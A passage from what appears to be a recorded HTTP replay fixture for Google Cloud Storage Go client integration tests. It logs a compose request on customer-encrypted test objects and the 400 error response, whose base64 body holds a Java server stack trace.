QuY29tIn0sImNyYzMyYyI6InIwTkdyZz09IiwiZXRhZyI6IkNPK2pxc3p4L2VFQ0VBRT0iLCJjdXN0b21lckVuY3J5cHRpb24iOnsiZW5jcnlwdGlvbkFsZ29yaXRobSI6IkFFUzI1NiIsImtleVNoYTI1NiI6IkgrTG1uWGhSb2VJNlRNVzVic1Y2SHlVazZweUdjMklNYnFZYkFYQmNwczA9In19fQ==" - } - }, - { - "ID": "2ddf1402c6efc3a8", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/customer-encryption-3/compose?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "160" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJkZXN0aW5hdGlvbiI6eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEifSwic291cmNlT2JqZWN0cyI6W3sibmFtZSI6ImN1c3RvbWVyLWVuY3J5cHRpb24ifSx7Im5hbWUiOiJjdXN0b21lci1lbmNyeXB0aW9uLTIifV19Cg==" - ] - }, - "Response": { - "StatusCode": 400, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "13334" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:39 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrFitgTFIY6yt8kk3zprPGtWncWc7Ad6oUFVXVdE0O3QqK0qlYGB7RSw-dwN1AvMk4Sndi8gR22cF8qs88ZlmdAxB-1zYdUNqwArmpP2xni66xX-L4" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6InJlc291cmNlSXNFbmNyeXB0ZWRXaXRoQ3VzdG9tZXJFbmNyeXB0aW9uS2V5IiwibWVzc2FnZSI6IlRoZSB0YXJnZXQgb2JqZWN0IGlzIGVuY3J5cHRlZCBieSBhIGN1c3RvbWVyLXN1cHBsaWVkIGVuY3J5cHRpb24ga2V5LiIsImV4dGVuZGVkSGVscCI6Imh0dHBzOi8vY2xvdWQuZ29vZ2xlLmNvbS9zdG9yYWdlL2RvY3MvZW5jcnlwdGlvbiNjdXN0b21lci1zdXBwbGllZF9lbmNyeXB0aW9uX2tleXMiLCJkZWJ1Z0luZm8iOiJjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6UkVTT1VSQ0VfSVNfRU5DUllQVEVEX1dJVEhfQ1VTVE9NRVJfRU5DUllQVElPTl9LRVk6IENvbXBvbmVudCBvYmplY3QgKGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uKSBpcyBlbmNyeXB0ZWQgYnkgYSBjdXN0b21lci1zdXBwbGllZCBlbmNyeXB0aW9uIGtleS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuQ29tcG9zZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoQ29tcG9zZU9iamVjdC5qYXZhOjE5OSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkNvbXBvc2VPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKENvbXBvc2VPYmplY3QuamF2YTo0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5jb21wb3NlKE9iamVjdHNEZWxlZ2F0b3IuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IENvbXBvbmVudCBvYmplY3QgKGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uKSBpcyBlbmNyeXB0ZWQgYnkgYSBjdXN0b21lci1zdXBwbGllZCBlbmNyeXB0aW9uIGtleS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuXG5jb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS5GYXVsdDogSW1tdXRhYmxlRXJyb3JEZWZpbml0aW9ue2Jhc2U9SU5WQUxJRF9WQUxVRSwgY2F0ZWdvcnk9VVNFUl9FUlJPUiwgY2F1c2U9bnVsbCwgZGVidWdJbmZvPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpSRVNPVVJDRV9JU19FTkNSWVBURURfV0lUSF9DVVNUT01FUl9FTkNSWVBUSU9OX0tFWTogQ29tcG9uZW50IG9iamVjdCAoZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2N1c3RvbWVyLWVuY3J5cHRpb24pIGlzIGVuY3J5cHRlZCBieSBhIGN1c3RvbWVyLXN1cHBsaWVkIGVuY3J5cHRpb24ga2V5LlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5Db21wb3NlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChDb21wb3NlT2JqZWN0LmphdmE6MTk5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuQ29tcG9zZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoQ29tcG9zZU9iamVjdC5qYXZhOjQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLmNvbXBvc2UoT2JqZWN0c0RlbGVnYXRvci5qYXZhOjEyNilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogQ29tcG9uZW50IG9iamVjdCAoZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2N1c3RvbWVyLWVuY3J5cHRpb24pIGlzIGVuY3J5cHRlZCBieSBhIGN1c3RvbWVyLXN1cHBsaWVkIGVuY3J5cHRpb24ga2V5LlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGRvbWFpbj1nbG9iYWwsIGV4dGVuZGVkSGVscD1odHRwczovL2Nsb3VkLmdvb2dsZS5jb20vc3RvcmFnZS9kb2NzL2VuY3J5cHRpb24jY3VzdG9tZXItc3VwcGxpZWRfZW5jcnlwdGlvbl9rZXlzLCBodHRwSGVhZGVycz17fSwgaHR0cFN0YXR1cz1iYWRSZXF1ZXN0LCBpbnRlcm5hbFJlYXNvbj1SZWFzb257YXJndW1lbnRzPXt9LCBjYXVzZT1udWxsLCBjb2RlPWNsb3VkLmJpZ3N0b3JlLmFwaS5CaWdzdG9yZUVycm9yRG9tYWluLlJFU09VUkNFX0lTX0VOQ1JZUFRFRF9XSVRIX0NVU1RPTUVSX0VOQ1JZUFRJT05fS0VZLCBjcmVhdGVkQnlCYWNrZW5kPXRydWUsIGRlYnVnTWVzc2FnZT1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6UkVTT1VSQ0VfSVNfRU5DUllQVEVEX1dJVEhfQ1VTVE9NRVJfRU5DUllQVElPTl9LRVk6IENvbXBvbmVudCBvYmplY3QgKGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uKSBpcyBlbmNyeXB0ZWQgYnkgYSBjdXN0b21lci1zdXBwbGllZCBlbmNyeXB0aW9uIGtleS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuQ29tcG9zZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoQ29tcG9zZU9iamVjdC5qYXZhOjE5OSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkNvbXBvc2VPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKENvbXBvc2VPYmplY3QuamF2YTo0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5jb21wb3NlKE9iamVjdHNEZWxlZ2F0b3IuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IENvbXBvbmVudCBvYmplY3QgKGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uKSBpcyBlbmNyeXB0ZWQgYnkgYSBjdXN0b21lci1zdXBwbGllZCBlbmNyeXB0aW9uIGtleS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuLCBlcnJvclByb3RvQ29kZT1SRVNPVVJDRV9JU19FTkNSWVBURURfV0lUSF9DVVNUT01FUl9FTkNSWVBUSU9OX0tFWSwgZXJyb3JQcm90b0RvbWFpbj1jbG91ZC5iaWdzdG9yZS5hcGkuQmlnc3RvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9Q29tcG9uZW50IG9iamVjdCAoZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2N1c3RvbWVyLWVuY3J5cHRpb24pIGlzIGVuY3J5cHRlZCBieSBhIGN1c3RvbWVyLXN1cHBsaWVkIGVuY3J5cHRpb24ga2V5LiwgdW5uYW1lZEFyZ3VtZW50cz1bXX0sIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9VGhlIHRhcmdldCBvYmplY3QgaXMgZW5jcnlwdGVkIGJ5IGEgY3VzdG9tZXItc3VwcGxpZWQgZW5jcnlwdGlvbiBrZXkuLCByZWFzb249cmVzb3VyY2VJc0VuY3J5cHRlZFdpdGhDdXN0b21lckVuY3J5cHRpb25LZXksIHJwY0NvZGU9NDAwfSBUaGUgdGFyZ2V0IG9iamVjdCBpcyBlbmNyeXB0ZWQgYnkgYSBjdXN0b21lci1zdXBwbGllZCBlbmNyeXB0aW9uIGtleS46IGNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpSRVNPVVJDRV9JU19FTkNSWVBURURfV0lUSF9DVVNUT01FUl9FTkNSWVBUSU9OX0tFWTogQ29tcG9uZW50IG9iamVjdCAoZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2N1c3RvbWVyLWVuY3J5cHRpb24pIGlzIGVuY3J5cHRlZCBieSBhIGN1c3RvbWVyLXN1cHBsaWVkIGVuY3J5cHRpb24ga2V5LlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5Db21wb3NlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChDb21wb3NlT2JqZWN0LmphdmE6MTk5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuQ29tcG9zZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoQ29tcG9zZU9iamVjdC5qYXZhOjQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLmNvbXBvc2UoT2JqZWN0c0RlbGVnYXRvci5qYXZhOjEyNilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogQ29tcG9uZW50IG9iamVjdCAoZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2N1c3RvbWVyLWVuY3J5cHRpb24pIGlzIGVuY3J5cHRlZCBieSBhIGN1c3RvbWVyLXN1cHBsaWVkIGVuY3J5cHRpb24ga2V5LlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3